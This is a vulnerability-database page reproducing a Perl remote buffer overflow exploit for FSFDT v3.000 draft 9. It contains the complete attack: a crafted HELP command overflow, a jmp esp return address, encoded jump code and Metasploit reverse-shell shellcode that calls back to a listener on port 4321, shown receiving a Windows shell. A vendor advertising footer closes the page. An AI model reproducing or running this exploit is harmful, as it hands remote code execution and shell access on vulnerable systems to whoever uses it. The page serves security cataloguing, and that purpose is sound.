Lucene search
K

FSFDT v3.000 d9 (HELP) Remote Buffer Overflow Exploit

🗓️ 06 Oct 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 23 Views

FSFDT v3.000 d9 Remote Buffer Overflow Exploit spawns reverse shell to 10.0.0.100:4321, tested against 'FSFDT Windows FSD Beta from FSD V3.000 draft 9' on win2k sp

Code

                                                # ~$ nc -l -p 4321
# Microsoft Windows 2000 [Version 5.00.2195]
# (C) Copyright 1985-2000 Microsoft Corp.
# 
# E:\draft\fsd1110\windows>_
# 
# -------------------------------------------

#!/usr/bin/perl

# FSFDT remote exploit by weak[at]fraglab.at
# spawns reverse shell to 10.0.0.100:4321
# tested against 'FSFDT Windows FSD Beta from FSD V3.000 draft 9' on win2k sp4

use IO::Socket;

if( $#ARGV < 1 )
{
	print "usage: perl ".$0." <ip> <port>";
	exit();
}
my $ip = $ARGV[0];
my $port = $ARGV[1];

print "connecting...\n";
my $sock = new IO::Socket::INET (  PeerAddr => $ip,  PeerPort => $port,  Proto => 'tcp',  );
die "could not create socket: $!\n" unless $sock;

# jmp esp in KERNEL32.DLL 5.0.2195.7006
my $jmpesp = "\xB7\x49\xE7\x77";

# encoded 'jmp 0x400' to jump to stage2
my $jmpcode = 
"\xeb\x11\x5e\x31\xc9\xb1\x1e\x80\x6c\x0e\xff\x35\x80\xe9\x01".
"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x0e\x16\x0e\x69\x59\x8d".
"\x8d\x8d\x8d\xb5\x1d\x1c\x66\xfe\x9b\xb6\x1e\x30\x34\xb5\x65".
"\x36\x75\x17\x2f\x1d\x36\x3a\x36\x36";

# win32_reverse -  EXITFUNC=thread LHOST=10.0.0.2 LPORT=4321 Size=312 Encoder=PexFnstenvSub http://metasploit.com
# bad chars: 0x00 0x0A 0x0D 0x20 0x29 
my $shellcode =
"\x2b\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x1e".
"\x2a\x6e\x8f\x83\xeb\xfc\xe2\xf4\xe2\x40\x85\xc2\xf6\xd3\x91\x70".
"\xe1\x4a\xe5\xe3\x3a\x0e\xe5\xca\x22\xa1\x12\x8a\x66\x2b\x81\x04".
"\x51\x32\xe5\xd0\x3e\x2b\x85\xc6\x95\x1e\xe5\x8e\xf0\x1b\xae\x16".
"\xb2\xae\xae\xfb\x19\xeb\xa4\x82\x1f\xe8\x85\x7b\x25\x7e\x4a\xa7".
"\x6b\xcf\xe5\xd0\x3a\x2b\x85\xe9\x95\x26\x25\x04\x41\x36\x6f\x64".
"\x1d\x06\xe5\x06\x72\x0e\x72\xee\xdd\x1b\xb5\xeb\x95\x69\x5e\x04".
"\x5e\x26\xe5\xff\x02\x87\xe5\xcf\x16\x74\x06\x01\x50\x24\x82\xdf".
"\xe1\xfc\x08\xdc\x78\x42\x5d\xbd\x76\x5d\x1d\xbd\x41\x7e\x91\x5f".
"\x76\xe1\x83\x73\x25\x7a\x91\x59\x41\xa3\x8b\xe9\x9f\xc7\x66\x8d".
"\x4b\x40\x6c\x70\xce\x42\xb7\x86\xeb\x87\x39\x70\xc8\x79\x3d\xdc".
"\x4d\x69\x3d\xcc\x4d\xd5\xbe\xe7\x14\x2a\x6e\xeb\x78\x42\x7e\x6e".
"\x78\x79\xe7\x6e\x8b\x42\x82\x76\xb4\x4a\x39\x70\xc8\x40\x7e\xde".
"\x4b\xd5\xbe\xe9\x74\x4e\x08\xe7\x7d\x47\x04\xdf\x47\x03\xa2\x06".
"\xf9\x40\x2a\x06\xfc\x1b\xae\x7c\xb4\xbf\xe7\x72\xe0\x68\x43\x71".
"\x5c\x06\xe3\xf5\x26\x81\xc5\x24\x76\x58\x90\x3c\x08\xd5\x1b\xa7".
"\xe1\xfc\x35\xd8\x4c\x7b\x3f\xde\x74\x2b\x3f\xde\x4b\x7b\x91\x5f".
"\x76\x87\xb7\x8a\xd0\x79\x91\x59\x74\xd5\x91\xb8\xe1\xfa\x06\x68".
"\x67\xec\x17\x70\x6b\x2e\x91\x59\xe1\x5d\x92\x70\xce\x42\x81\x41".
"\xfe\x4a\x3d\x70\xc8\xd5\xbe\x8f";

print "sending payload...\n";
print $sock "HELP " . "A"x200 . $jmpesp . "\x90"x8 . $jmpcode . "\n" . "\x90"x400 . $shellcode;
close($sock);

print "done.\n";
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation